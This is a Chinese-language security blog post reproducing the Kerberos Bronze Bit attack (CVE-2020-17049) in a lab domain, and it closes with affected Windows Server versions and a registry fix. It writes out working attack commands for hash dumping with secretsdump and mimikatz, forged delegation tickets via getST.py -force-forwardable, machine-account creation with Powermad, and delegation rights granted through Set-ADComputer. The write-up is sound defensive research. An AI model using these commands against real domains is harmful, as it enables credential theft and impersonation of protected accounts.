CVE-2020-17049 Kerberos Bronze Bit 攻击复现

admin 2021年4月23日08:26:40评论95 views字数 3526阅读11分45秒阅读模式


写在前面,文章为复现文章,不涉及原理,有兴趣者可自行研究。


首先简单说明一下这个漏洞的作用,直接扳原文:


An attacker can impersonate users which are not allowed to be delegated. This includes members of the Protected Users group and any other users explicitly configured as “sensitive and cannot be delegated.”An attacker can launch the attack from a service which is not allowed to perform the authentication protocol transition. This means that if the service is configured without the “TrustedToAuthForDelegation” property (shown as “Trust this user for delegation to specified services only – Use Kerberos only” in the AD GUI), the attacker can use the exploit to obtain tickets as if the “TrustedToAuthForDelegation” property were set (shown as “Trust this user for delegation to specified services only – Use any authentication protocol” in the AD GUI).


大体意思就是这个漏洞可以让攻击者去攻击“受保护组“、或设置了“敏感用户,禁止委派”的用户。或者去攻击设置了“仅信任该计算机来委派指定的服务-->仅使用kerberos”的机器。


大体的攻击思路如下:


1、攻击者已经获取了域内的某台机器的权限。

2、拥有域内服务的hash,称为service1。hash可以通过 DC Sync attacks, Kerberoasting,甚至是用Powermad来注册spn的方式来获得。

3、service1对域内的其他服务拥有约束委派关系。其配置可能如下(1)service2在service1的AllowedToDelegateTo列表当中。(2)service1在service2的PrincipalsAllowedToDelegateToAccount列表当中,且攻击者对service2有GenericAll, GenericWrite, WriteOwner, etc权限。

4、攻击者利用该漏洞去获取到service2的kerberos票据

5、攻击者利用票据去攻击service2


漏洞原理:


在之前的利用方法中,假如我们已经拥有了一个service1的hash,想要去获取service2的权限时,便可以使用getST.py程序执行S4U交换,来获取目标的TGT,如果其配置了"TrustedToAuthForDelegation",且用户未受保护的话,其流程如下:


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


但如果其设置了仅kerberos或者受保护的组的话,则不会成功。


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


而漏洞作者为工具增加了-force-forwardable 参数,使其成为了可能。


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


这个gif很直观的显示了该过程:https://blog.netspi.com/wp-content/uploads/2020/10/bit_flip_animation_cropped.gif


漏洞复现


网络拓扑环境如下:


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


Example Attack1:


环境配置如下:

server1设置如下:


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


user2设置:


CVE-2020-17049 Kerberos Bronze Bit 攻击复现

CVE-2020-17049 Kerberos Bronze Bit 攻击复现



开始攻击:


首先访问server2,确认无法直接连接到server。


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


然后我们需要获取server1的机器账户的AES256-CTS-HMAC-SHA1-96 和 LM:NTLM hash ,在作者的复现过程中使用的是secretsdump.py来操作的,也就是下面这样:


python .impacketexamplessecretsdump.py 'test/user1:<user1_password>@Service1.test.local'


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


但笔者在测试过程中,发现并不可以这样操作。也有可能是我操作有问题..于是我换成了mimikatz的ekeys来操作:


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


或者为了复现方便,提升到高权限操作:


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


.impacketexamplesgetST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


发现,并不能获取user2的TGT,而加上参数之后,则可以成功获取


.impacketexamplesgetST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


然后我们注入该票据:


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


不过我们这里的是host的票据,我们一般需要的是cifs,按照刚才的步骤再走一遍就ok了。


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


此时便拥有了对目标的访问权限。


Example Attack2:

环境配置如下:


CVE-2020-17049 Kerberos Bronze Bit 攻击复现

CVE-2020-17049 Kerberos Bronze Bit 攻击复现


开始攻击:


Import-Module .Powermadpowermad.ps1New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


然后:


"kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


然后


Install-WindowsFeature RSAT-AD-PowerShellImport-Module ActiveDirectoryGet-ADComputer AttackerService


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


然后:


Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


然后获取TGT


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


然后注入票据即可.


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


写在后面


由于时间问题,并未对原理进行研究,只是简单进行了复现,有兴趣者可自行抓包分析。


漏洞影响版本


  • Windows Server 2012

  • Windows Server 2012 R2

  • Windows Server 2016

  • Windows Server 2019

  • Windows Server, version 1903

  • Windows Server, version 1909

  • Windows Server, version 2004

  • Windows Server, version 20H2



修复方案:

将 HKEY_LOCAL_MACHINESystemCurrentControlSetServicesKdc的PerformTicketSignature 设置为1


CVE-2020-17049 Kerberos Bronze Bit 攻击复现


参考文章:

https://www.zdnet.com/article/windows-10-update-problem-were-fixing-kerberos-authentication-bug-says-microsoft/

https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/

https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-overview/

https://github.com/SecureAuthCorp/impacket/pull/1013

https://dirteam.com/sander/2020/11/11/kerberos-security-feature-bypass-vulnerability-important-cve-2020-17049-cvssv3-6-6/


本文始发于微信公众号(鸿鹄实验室):CVE-2020-17049 Kerberos Bronze Bit 攻击复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月23日08:26:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-17049 Kerberos Bronze Bit 攻击复现https://cn-sec.com/archives/200204.html

发表评论

匿名网友 填写信息